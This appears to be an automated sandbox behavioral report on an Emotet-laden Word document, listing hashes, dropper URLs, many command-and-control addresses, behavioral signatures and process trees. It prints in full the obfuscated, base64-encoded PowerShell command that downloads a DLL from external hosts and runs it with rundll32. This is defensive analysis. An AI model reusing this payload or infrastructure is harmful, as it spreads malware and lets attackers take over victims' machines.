Behavioral Report

General

Target

メリークリスマス.doc
Size

162KB
MD5

71d9aa9f45329b844843dc8ee84abe80
SHA1

064404ffb86f30dd0b1155ba9f61cfaf3cbb2e65
SHA256

d7c3e71d5a6e9b66ffa6d4571a53f986b3c507b32557c0db8d855cd8c7fd1607
SHA512

80410771ae1f979c6a39372ae1f3e045fdffef4e125cd1edf5a800cb13513e636c7daf03489eb796f2e483b7cb97d190239318187c954fd0b8ff7c71d1de6291

Score

10^/10

Malware Config

Extracted

Language	ps1
Deobfuscated
URLs	http://aktuel.marduk.kim/dooxi-fuel-hf09b/Logs/ http://braam.com.br/c/oaA7YWWX/ http://zebaorganics.com/wp-admin/en-US/ http://friendsofchrist10.com/streamlabs-obs-rarso/SIGNUP/ http://guojiazui.com/b/y0QnnWbk/ http://fi.bonitastores.com/n/WUGoZ/ http://iog.com.cn/css/Sys/ exe.dropper http://aktuel.marduk.kim/dooxi-fuel-hf09b/Logs/ exe.dropper http://braam.com.br/c/oaA7YWWX/ exe.dropper http://zebaorganics.com/wp-admin/en-US/ exe.dropper http://friendsofchrist10.com/streamlabs-obs-rarso/SIGNUP/ exe.dropper http://guojiazui.com/b/y0QnnWbk/ exe.dropper http://fi.bonitastores.com/n/WUGoZ/ exe.dropper http://iog.com.cn/css/Sys/

Extracted

Family	emotet
Botnet	Epoch3
C2	172.193.14.201:80 77.89.249.254:443 203.157.152.9:7080 157.245.145.87:443 195.159.28.244:8080 115.79.195.246:80 163.53.204.180:443 88.119.191.111:80 46.105.131.68:8080 110.37.224.243:80 117.2.139.117:443 172.104.46.84:8080 185.142.236.163:443 37.46.129.215:8080 195.201.56.70:8080 2.82.75.215:80 178.33.167.120:8080 8.4.9.137:8080 203.153.216.178:7080 139.59.12.63:8080 190.18.184.113:80 91.83.93.103:443 116.202.10.123:8080 121.117.147.153:443 188.226.165.170:8080 139.59.61.215:443 113.203.238.130:80 175.103.38.146:80 73.55.128.120:80 223.17.215.76:80 54.38.143.245:8080 60.108.128.186:80 162.144.145.58:8080 109.99.146.210:8080 178.254.36.182:8080 37.205.9.252:7080 192.163.221.191:8080 27.78.27.110:443 5.79.70.250:8080 178.62.254.156:8080 190.85.46.52:7080 203.160.167.243:80 2.58.16.86:8080 182.73.7.59:8080 45.230.45.171:443 91.75.75.46:80 203.56.191.129:8080 50.116.78.109:8080 152.32.75.74:443 70.32.89.105:8080 103.229.72.197:8080 82.78.179.117:443 177.254.134.180:80 74.208.173.91:8080 172.96.190.154:8080 46.32.229.152:8080 186.146.229.172:80 157.7.164.178:8081 103.229.73.17:8080 103.93.220.182:80 120.51.34.254:80 139.5.101.203:80 69.159.11.38:443 79.133.6.236:8080 188.166.220.180:7080 183.91.3.63:80 180.148.4.130:8080 192.241.220.183:8080 115.79.59.157:80 198.20.228.9:8080 24.245.65.66:80 58.27.215.3:8080 192.210.217.94:8080 202.29.237.113:8080 103.80.51.61:8080 177.130.51.198:80 190.194.12.132:80 179.5.118.12:80 78.90.78.210:80 143.95.101.72:8080 185.208.226.142:8080 75.127.14.170:8080 172.193.14.201:80 77.89.249.254:443 203.157.152.9:7080 157.245.145.87:443 195.159.28.244:8080 115.79.195.246:80 163.53.204.180:443 88.119.191.111:80 46.105.131.68:8080 110.37.224.243:80 117.2.139.117:443 172.104.46.84:8080 185.142.236.163:443 37.46.129.215:8080 195.201.56.70:8080 2.82.75.215:80 178.33.167.120:8080 8.4.9.137:8080 203.153.216.178:7080 139.59.12.63:8080 190.18.184.113:80 91.83.93.103:443 116.202.10.123:8080 121.117.147.153:443 188.226.165.170:8080 139.59.61.215:443 113.203.238.130:80 175.103.38.146:80 73.55.128.120:80 223.17.215.76:80 54.38.143.245:8080 60.108.128.186:80 162.144.145.58:8080 109.99.146.210:8080 178.254.36.182:8080 37.205.9.252:7080 192.163.221.191:8080 27.78.27.110:443 5.79.70.250:8080 178.62.254.156:8080 190.85.46.52:7080 203.160.167.243:80 2.58.16.86:8080 182.73.7.59:8080 45.230.45.171:443 91.75.75.46:80 203.56.191.129:8080 50.116.78.109:8080 152.32.75.74:443 70.32.89.105:8080 103.229.72.197:8080 82.78.179.117:443 177.254.134.180:80 74.208.173.91:8080 172.96.190.154:8080 46.32.229.152:8080 186.146.229.172:80 157.7.164.178:8081 103.229.73.17:8080 103.93.220.182:80 120.51.34.254:80 139.5.101.203:80 69.159.11.38:443 79.133.6.236:8080 188.166.220.180:7080 183.91.3.63:80 180.148.4.130:8080 192.241.220.183:8080 115.79.59.157:80 198.20.228.9:8080 24.245.65.66:80 58.27.215.3:8080 192.210.217.94:8080 202.29.237.113:8080 103.80.51.61:8080 177.130.51.198:80 190.194.12.132:80 179.5.118.12:80 78.90.78.210:80 143.95.101.72:8080 185.208.226.142:8080 75.127.14.170:8080
rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process ⋅ 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2668 3452 cmd.exe
Blocklisted process makes network request ⋅ 5 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

16 2588 powershell.exe
29 1732 rundll32.exe
32 1732 rundll32.exe
34 1732 rundll32.exe
39 1732 rundll32.exe
Loads dropped DLL ⋅ 1 IoCs

Processes:

rundll32.exe

pid process

3408 rundll32.exe
Drops file in System32 directory ⋅ 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Mswl\vlhucm.qmj rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	3452	cmd.exe

flow	pid	process
16	2588	powershell.exe
29	1732	rundll32.exe
32	1732	rundll32.exe
34	1732	rundll32.exe
39	1732	rundll32.exe

pid	process
3408	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Mswl\vlhucm.qmj	rundll32.exe

Checks processor information in registry ⋅ 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

TTPs:

Query Registry System Information Discovery

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry ⋅ 2 TTPs 3 IoCs

TTPs:

Query Registry System Information Discovery

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener ⋅ 2 IoCs

Processes:

WINWORD.EXE

pid process

984 WINWORD.EXE
984 WINWORD.EXE

Suspicious behavior: EnumeratesProcesses ⋅ 13 IoCs

Processes:

powershell.exerundll32.exe

pid	process
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe

Suspicious use of AdjustPrivilegeToken ⋅ 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2588 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2588	powershell.exe

Suspicious use of SetWindowsHookEx ⋅ 10 IoCs

Processes:

WINWORD.EXE

pid	process
984	WINWORD.EXE
984	WINWORD.EXE
984	WINWORD.EXE
984	WINWORD.EXE
984	WINWORD.EXE
984	WINWORD.EXE
984	WINWORD.EXE
984	WINWORD.EXE
984	WINWORD.EXE
984	WINWORD.EXE

Suspicious use of WriteProcessMemory ⋅ 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2668 wrote to memory of 3408	2668	cmd.exe	msg.exe
PID 2668 wrote to memory of 3408	2668	cmd.exe	msg.exe
PID 2668 wrote to memory of 2588	2668	cmd.exe	powershell.exe
PID 2668 wrote to memory of 2588	2668	cmd.exe	powershell.exe
PID 2588 wrote to memory of 2452	2588	powershell.exe	rundll32.exe
PID 2588 wrote to memory of 2452	2588	powershell.exe	rundll32.exe
PID 2452 wrote to memory of 3408	2452	rundll32.exe	rundll32.exe
PID 2452 wrote to memory of 3408	2452	rundll32.exe	rundll32.exe
PID 2452 wrote to memory of 3408	2452	rundll32.exe	rundll32.exe
PID 3408 wrote to memory of 1732	3408	rundll32.exe	rundll32.exe
PID 3408 wrote to memory of 1732	3408	rundll32.exe	rundll32.exe
PID 3408 wrote to memory of 1732	3408	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\メリークリスマス.doc" /o ""

Checks processor information in registry
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx

PID:984

C:\Windows\system32\cmd.exe

cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABzAGUAVAAtAGkAdABFAG0AIAAgACgAIgB2ACIAKwAiAEEAUgAiACsAIgBJAEEAIgArACIAYgBMAEUAOgBvAGwAVQAiACsAIgAzAGoAIgApACAAIAAoACAAIABbAHQAeQBQAEUAXQAoACIAewA0AH0AewAyAH0AewAzAH0AewAwAH0AewAxAH0AIgAtAGYAIAAnAE8AJwAsACcAUgB5ACcALAAnAEkATwAuAGQAJwAsACcAaQByAGUAYwB0ACcALAAnAFMAWQBTAHQAZQBtAC4AJwApACkAIAA7ACAAIAAgACQAZwBRAEEAVgBJAHoAPQAgAFsAdAB5AFAARQBdACgAIgB7ADUAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADEAfQB7ADIAfQAiACAALQBGACAAJwAuAG4ARQBUAC4AJwAsACcARQBwAE8AJwAsACcASQBOAFQAbQBBAE4AQQBHAGUAcgAnACwAJwBZAFMAVABFAG0AJwAsACcAUwBlAFIAdgBpAEMAJwAsACcAcwAnACkAIAAgADsAJABHAGUAcwBzAHoAeABrAD0AKAAnAFEAZQAnACsAKAAnAHIAdAB4ACcAKwAnAGUAdgAnACkAKQA7ACQATQBzAHcAaABkAHUAawA9ACQATgA5AHIAOQBtAGEAZAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASQA2AGkAdgBlADgAawA7ACQATABlADAAXwBiADQAeQA9ACgAJwBSACcAKwAoACcAdwBiACcAKwAnADcAcwBuACcAKQArACcAcwAnACkAOwAgACgAIABHAEUAdAAtAFYAQQByAGkAYQBCAGwAZQAgACgAIgBvAEwAVQAzACIAKwAiAGoAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAEMAYABSAGUAYABBAGAAVABlAGQAYABJAHIAZQBDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBtACcAKwAoACcAbwB3AEsAJwArACcAMAAnACkAKwAnADYAeQAnACsAKAAnAGEAMAA4ACcAKwAnAG0AbwB3ACcAKQArACgAJwBOADQAJwArACcAZwAnACkAKwAnAGQAegAnACsAKAAnAG4AJwArACcAYwBtAG8AdwAnACkAKQAtAGMAcgBlAFAATABBAEMAZQAgACAAKAAnAG0AbwAnACsAJwB3ACcAKQAsAFsAYwBoAGEAcgBdADkAMgApACkAOwAkAEYAcgB2ADIANwBmAGYAPQAoACcAQQBnACcAKwAoACcAZwAnACsAJwA1AG8AMQBlACcAKQApADsAIAAkAGcAUQBhAFYASQB6ADoAOgAiAFMAYABlAGMAdQBgAFIAaQBUAHkAYABwAHIAbwBgAFQATwBDAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQAVgBtAGQAcwBmAHcAegA9ACgAJwBHADEAJwArACgAJwBqADEAJwArACcAMAAnACkAKwAnAGgANQAnACkAOwAkAEgAaABfADMAbwBsAGEAIAA9ACAAKAAnAEkAJwArACcANQBuACcAKwAoACcAeQBsACcAKwAnAHUAagBrAF8AJwApACkAOwAkAFoANwB3ADUAbgAwAHMAPQAoACcAQgBmACcAKwAnAGoAYQAnACsAKAAnAGsAdwAnACsAJwAzACcAKQApADsAJABNAGYANwBwAGoANQBtAD0AKAAnAE0AdgAnACsAKAAnAG0AJwArACcAcQBvACcAKQArACcAawBjACcAKQA7ACQASAA0AGsANwA3AGcAegA9ACQASABPAE0ARQArACgAKAAnADEAJwArACcARgAnACsAJwBMACcAKwAoACcASwAwADYAJwArACcAeQBhACcAKwAnADAAOAAxAEYATAAnACsAJwBOACcAKQArACcANAAnACsAKAAnAGcAZAAnACsAJwB6ACcAKQArACgAJwBuACcAKwAnAGMAMQBGAEwAJwApACkAIAAgAC0AYwBSAGUAcABsAEEAQwBlACgAWwBDAGgAYQBSAF0ANAA5ACsAWwBDAGgAYQBSAF0ANwAwACsAWwBDAGgAYQBSAF0ANwA2ACkALABbAEMAaABhAFIAXQA5ADIAKQArACQASABoAF8AMwBvAGwAYQArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAE4AbwB4ADQAZABwAG4APQAoACgAJwBGACcAKwAnAHgAZgB5ACcAKQArACcAegBtACcAKwAnAHUAJwApADsAJABKADYAcwByADgAMABpAD0ATgBgAGUAVwAtAG8AYgBgAEoAZQBgAGMAVAAgAE4ARQB0AC4AVwBlAEIAQwBMAEkARQBuAFQAOwAkAFIAOQBoADQAegB5AG8APQAoACgAKAAoACcAaAB0AHQAJwArACcAcAA6AEoAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoACcAKwAnAEoAJwArACcAKQAoADMAcwAyACkAKABhACcAKQApACsAJwBrAHQAJwArACcAdQAnACsAJwBlACcAKwAoACcAbAAuAG0AJwArACcAYQAnACkAKwAnAHIAZAAnACsAKAAoACcAdQBrAC4AawBpAG0ASgAnACsAJwApACcAKwAnACgAMwBzADIAJwArACcAKQAoAGQAbwAnACsAJwBvACcAKQApACsAJwB4AGkAJwArACgAKAAnAC0AZgB1AGUAbAAnACsAJwAtAGgAZgAwACcAKwAnADkAJwArACcAYgBKACcAKwAnACkAJwArACcAKAAzAHMAMgApACcAKQApACsAKAAoACcAKABMAG8AZwBzAEoAJwArACcAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACcAKAAnACsAKAAoACcAQABoAHQAdAAnACsAJwBwADoASgApACcAKwAnACgAMwBzADIAKQAoAEoAJwArACcAKQAoADMAJwArACcAcwAyACkAJwArACcAKABiAHIAYQBhAG0ALgBjACcAKwAnAG8AJwApACkAKwAoACgAJwBtAC4AYgByAEoAJwArACcAKQAoADMAJwArACcAcwAyACcAKQApACsAJwApACcAKwAnACgAJwArACgAKAAnAGMASgAnACsAJwApACgAMwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACsAKAAnAG8AYQAnACsAJwBBADcAWQAnACkAKwAoACcAVwAnACsAJwBXAFgAJwApACsAJwBKACcAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACcAcwAyACcAKwAoACgAJwApACcAKwAnACgAQABoAHQAdABwACcAKwAnADoASgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAJwArACcAcwAyACkAKABKACkAKAAnACsAJwAzAHMAMgApACgAegAnACkAKQArACcAZQAnACsAKAAnAGIAJwArACcAYQBvAHIAZwBhAG4AJwArACcAaQAnACkAKwAoACcAYwAnACsAJwBzAC4AJwApACsAKAAnAGMAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKwAnADMAcwAnACkAKQArACgAKAAnADIAKQAoACcAKwAnAHcAJwApACkAKwAoACcAcAAtAGEAZAAnACsAJwBtACcAKQArACgAKAAnAGkAbgBKACkAJwArACcAKAAnACkAKQArACgAKAAnADMAcwAyACkAJwArACcAKABlACcAKwAnAG4ALQBVAFMAJwApACkAKwAoACgAJwBKACcAKwAnACkAKAAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAJwArACgAKAAnADoASgApACgAMwAnACsAJwBzACcAKwAnADIAJwApACkAKwAoACgAJwApACgASgAnACsAJwApACcAKQApACsAKAAnACgAJwArACcAMwBzADIAKQAnACkAKwAnACgAJwArACcAZgAnACsAJwByAGkAJwArACgAKAAnAGUAJwArACcAbgAnACsAJwBkAHMAbwBmAGMAaAByAGkAcwB0ADEAMAAuAGMAbwAnACsAJwBtAEoAKQAoACcAKwAnADMAcwAyACkAJwApACkAKwAnACgAJwArACgAJwBzACcAKwAnAHQAcgAnACkAKwAoACcAZQBhAG0AbAAnACsAJwBhAGIAcwAtACcAKwAnAG8AJwArACcAYgAnACkAKwAnAHMAJwArACcALQByACcAKwAoACcAYQAnACsAJwByAHMAbwBKACcAKQArACcAKQAnACsAKAAoACcAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKAAnACsAJwBTAEkARwBOAFUAUAAnACkAKQArACgAKAAnAEoAKQAoADMAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAAnACkAKQArACcAdAAnACsAKAAoACcAdAAnACsAJwBwADoASgAnACsAJwApACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcASgApACgAMwBzACcAKQApACsAKAAoACcAMgApACgAZwB1ACcAKwAnAG8AagAnACsAJwBpAGEAJwApACkAKwAoACcAegB1ACcAKwAnAGkALgBjAG8AbQBKACcAKQArACgAKAAnACkAKAAzACcAKwAnAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwBiAEoAKQAoACcAKQApACsAKAAoACcAMwBzADIAKQAoAHkAJwArACcAMABRAG4AbgBXACcAKwAnAGIAawBKACcAKwAnACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKABAAGgAJwApACkAKwAnAHQAJwArACgAKAAnAHQAcAA6AEoAKQAnACsAJwAoACcAKwAnADMAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAEoAKQAnACsAJwAoADMAJwArACcAcwAyACkAKABmAGkAJwApACkAKwAoACcALgAnACsAJwBiAG8AbgBpACcAKwAnAHQAYQBzACcAKQArACcAdABvACcAKwAoACcAcgBlAHMAJwArACcALgAnACkAKwAoACgAJwBjAG8AbQBKACcAKwAnACkAJwArACcAKAAnACsAJwAzAHMAJwArACcAMgApACgAbgBKACkAKAAzAHMAMgAnACsAJwApACgAJwArACcAVwAnACkAKQArACgAJwBVAEcAJwArACcAbwBaAEoAJwApACsAKAAoACcAKQAoADMAJwArACcAcwAyACkAJwArACcAKABAACcAKQApACsAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACgAJwA6AEoAJwArACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzADIAKQAoAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACcAKwAnACgAaQBvAGcAJwApACkAKwAoACcALgAnACsAJwBjAG8AbQAuACcAKQArACcAYwBuACcAKwAoACgAJwBKACkAJwArACcAKAAzAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABjAHMAJwArACcAcwBKACkAJwArACcAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAnACkAJwArACgAKAAnACgAUwAnACkAKQArACgAKAAnAHkAcwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACgAJwApACkAKQApAC4AIgByAGUAYABQAGwAYQBgAGMARQAiACgAKAAoACgAKAAnAEoAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzADIAJwArACcAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBgAHAAbABpAFQAIgAoACQAVwBxAGMAZQBwAHYAcgAgACsAIAAkAE0AcwB3AGgAZAB1AGsAIAArACAAJABPAG8AbQAzAHcAYgA5ACkAOwAkAEMAcQByADcAXwBfADMAPQAoACcAVQAnACsAKAAnAHUAJwArACcAZwB3AHkAJwApACsAJwB5AHQAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOAHgAZAAwAGIAaQBtACAAaQBuACAAJABSADkAaAA0AHoAeQBvACAAfAAgAHMAbwBSAGAAVAAtAGAATwBgAEIAagBlAGAAQwB0ACAAewBHAEUAdAAtAGAAUgBhAGAATgBgAEQAbwBNAH0AKQB7AHQAcgB5AHsAJABKADYAcwByADgAMABpAC4AIgBkAG8AdwBuAGwAbwBgAEEAYABEAGYASQBgAGwAZQAiACgAJABOAHgAZAAwAGIAaQBtACwAIAAkAEgANABrADcANwBnAHoAKQA7ACQAQQB2AHYAMABpADAAbwA9ACgAJwBYACcAKwAnAHIAagAnACsAKAAnADEAJwArACcAZAB2ADEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQASAA0AGsANwA3AGcAegApAC4AIgBsAGUAYABOAGcAdABIACIAIAAtAGcAZQAgADMAMwA0ADQAMgApACAAewAuACgAJwByAHUAbgBkACcAKwAnAGwAJwArACcAbAAzADIAJwApACAAJABIADQAawA3ADcAZwB6ACwAJwAjADEAJwAuACIAVABPAHMAYABUAHIAaQBgAE4ARwAiACgAKQA7ACQASwB2AGoANgB5ADMAOAA9ACgAJwBBACcAKwAoACcAbQA2AG8AJwArACcANgAnACkAKwAnAHMANwAnACkAOwBiAHIAZQBhAGsAOwAkAEUAMgBhAHIAXwB1AGYAPQAoACcATgAwACcAKwAoACcAcwAxACcAKwAnAGMAMABoACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADgAagBjAGsAbABuAD0AKAAnAFIAJwArACgAJwBrACcAKwAnAGgAdwAnACkAKwAoACcAdAAnACsAJwB1AGIAJwApACkA

Process spawned unexpected child process
Suspicious use of WriteProcessMemory

PID:2668

C:\Windows\system32\msg.exe

msg Admin /v Word experienced an error trying to open the file.

PID:3408

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

POwersheLL -w hidden -ENCOD IABzAGUAVAAtAGkAdABFAG0AIAAgACgAIgB2ACIAKwAiAEEAUgAiACsAIgBJAEEAIgArACIAYgBMAEUAOgBvAGwAVQAiACsAIgAzAGoAIgApACAAIAAoACAAIABbAHQAeQBQAEUAXQAoACIAewA0AH0AewAyAH0AewAzAH0AewAwAH0AewAxAH0AIgAtAGYAIAAnAE8AJwAsACcAUgB5ACcALAAnAEkATwAuAGQAJwAsACcAaQByAGUAYwB0ACcALAAnAFMAWQBTAHQAZQBtAC4AJwApACkAIAA7ACAAIAAgACQAZwBRAEEAVgBJAHoAPQAgAFsAdAB5AFAARQBdACgAIgB7ADUAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADEAfQB7ADIAfQAiACAALQBGACAAJwAuAG4ARQBUAC4AJwAsACcARQBwAE8AJwAsACcASQBOAFQAbQBBAE4AQQBHAGUAcgAnACwAJwBZAFMAVABFAG0AJwAsACcAUwBlAFIAdgBpAEMAJwAsACcAcwAnACkAIAAgADsAJABHAGUAcwBzAHoAeABrAD0AKAAnAFEAZQAnACsAKAAnAHIAdAB4ACcAKwAnAGUAdgAnACkAKQA7ACQATQBzAHcAaABkAHUAawA9ACQATgA5AHIAOQBtAGEAZAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASQA2AGkAdgBlADgAawA7ACQATABlADAAXwBiADQAeQA9ACgAJwBSACcAKwAoACcAdwBiACcAKwAnADcAcwBuACcAKQArACcAcwAnACkAOwAgACgAIABHAEUAdAAtAFYAQQByAGkAYQBCAGwAZQAgACgAIgBvAEwAVQAzACIAKwAiAGoAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAEMAYABSAGUAYABBAGAAVABlAGQAYABJAHIAZQBDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBtACcAKwAoACcAbwB3AEsAJwArACcAMAAnACkAKwAnADYAeQAnACsAKAAnAGEAMAA4ACcAKwAnAG0AbwB3ACcAKQArACgAJwBOADQAJwArACcAZwAnACkAKwAnAGQAegAnACsAKAAnAG4AJwArACcAYwBtAG8AdwAnACkAKQAtAGMAcgBlAFAATABBAEMAZQAgACAAKAAnAG0AbwAnACsAJwB3ACcAKQAsAFsAYwBoAGEAcgBdADkAMgApACkAOwAkAEYAcgB2ADIANwBmAGYAPQAoACcAQQBnACcAKwAoACcAZwAnACsAJwA1AG8AMQBlACcAKQApADsAIAAkAGcAUQBhAFYASQB6ADoAOgAiAFMAYABlAGMAdQBgAFIAaQBUAHkAYABwAHIAbwBgAFQATwBDAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQAVgBtAGQAcwBmAHcAegA9ACgAJwBHADEAJwArACgAJwBqADEAJwArACcAMAAnACkAKwAnAGgANQAnACkAOwAkAEgAaABfADMAbwBsAGEAIAA9ACAAKAAnAEkAJwArACcANQBuACcAKwAoACcAeQBsACcAKwAnAHUAagBrAF8AJwApACkAOwAkAFoANwB3ADUAbgAwAHMAPQAoACcAQgBmACcAKwAnAGoAYQAnACsAKAAnAGsAdwAnACsAJwAzACcAKQApADsAJABNAGYANwBwAGoANQBtAD0AKAAnAE0AdgAnACsAKAAnAG0AJwArACcAcQBvACcAKQArACcAawBjACcAKQA7ACQASAA0AGsANwA3AGcAegA9ACQASABPAE0ARQArACgAKAAnADEAJwArACcARgAnACsAJwBMACcAKwAoACcASwAwADYAJwArACcAeQBhACcAKwAnADAAOAAxAEYATAAnACsAJwBOACcAKQArACcANAAnACsAKAAnAGcAZAAnACsAJwB6ACcAKQArACgAJwBuACcAKwAnAGMAMQBGAEwAJwApACkAIAAgAC0AYwBSAGUAcABsAEEAQwBlACgAWwBDAGgAYQBSAF0ANAA5ACsAWwBDAGgAYQBSAF0ANwAwACsAWwBDAGgAYQBSAF0ANwA2ACkALABbAEMAaABhAFIAXQA5ADIAKQArACQASABoAF8AMwBvAGwAYQArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAE4AbwB4ADQAZABwAG4APQAoACgAJwBGACcAKwAnAHgAZgB5ACcAKQArACcAegBtACcAKwAnAHUAJwApADsAJABKADYAcwByADgAMABpAD0ATgBgAGUAVwAtAG8AYgBgAEoAZQBgAGMAVAAgAE4ARQB0AC4AVwBlAEIAQwBMAEkARQBuAFQAOwAkAFIAOQBoADQAegB5AG8APQAoACgAKAAoACcAaAB0AHQAJwArACcAcAA6AEoAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoACcAKwAnAEoAJwArACcAKQAoADMAcwAyACkAKABhACcAKQApACsAJwBrAHQAJwArACcAdQAnACsAJwBlACcAKwAoACcAbAAuAG0AJwArACcAYQAnACkAKwAnAHIAZAAnACsAKAAoACcAdQBrAC4AawBpAG0ASgAnACsAJwApACcAKwAnACgAMwBzADIAJwArACcAKQAoAGQAbwAnACsAJwBvACcAKQApACsAJwB4AGkAJwArACgAKAAnAC0AZgB1AGUAbAAnACsAJwAtAGgAZgAwACcAKwAnADkAJwArACcAYgBKACcAKwAnACkAJwArACcAKAAzAHMAMgApACcAKQApACsAKAAoACcAKABMAG8AZwBzAEoAJwArACcAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACcAKAAnACsAKAAoACcAQABoAHQAdAAnACsAJwBwADoASgApACcAKwAnACgAMwBzADIAKQAoAEoAJwArACcAKQAoADMAJwArACcAcwAyACkAJwArACcAKABiAHIAYQBhAG0ALgBjACcAKwAnAG8AJwApACkAKwAoACgAJwBtAC4AYgByAEoAJwArACcAKQAoADMAJwArACcAcwAyACcAKQApACsAJwApACcAKwAnACgAJwArACgAKAAnAGMASgAnACsAJwApACgAMwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACsAKAAnAG8AYQAnACsAJwBBADcAWQAnACkAKwAoACcAVwAnACsAJwBXAFgAJwApACsAJwBKACcAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACcAcwAyACcAKwAoACgAJwApACcAKwAnACgAQABoAHQAdABwACcAKwAnADoASgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAJwArACcAcwAyACkAKABKACkAKAAnACsAJwAzAHMAMgApACgAegAnACkAKQArACcAZQAnACsAKAAnAGIAJwArACcAYQBvAHIAZwBhAG4AJwArACcAaQAnACkAKwAoACcAYwAnACsAJwBzAC4AJwApACsAKAAnAGMAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKwAnADMAcwAnACkAKQArACgAKAAnADIAKQAoACcAKwAnAHcAJwApACkAKwAoACcAcAAtAGEAZAAnACsAJwBtACcAKQArACgAKAAnAGkAbgBKACkAJwArACcAKAAnACkAKQArACgAKAAnADMAcwAyACkAJwArACcAKABlACcAKwAnAG4ALQBVAFMAJwApACkAKwAoACgAJwBKACcAKwAnACkAKAAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAJwArACgAKAAnADo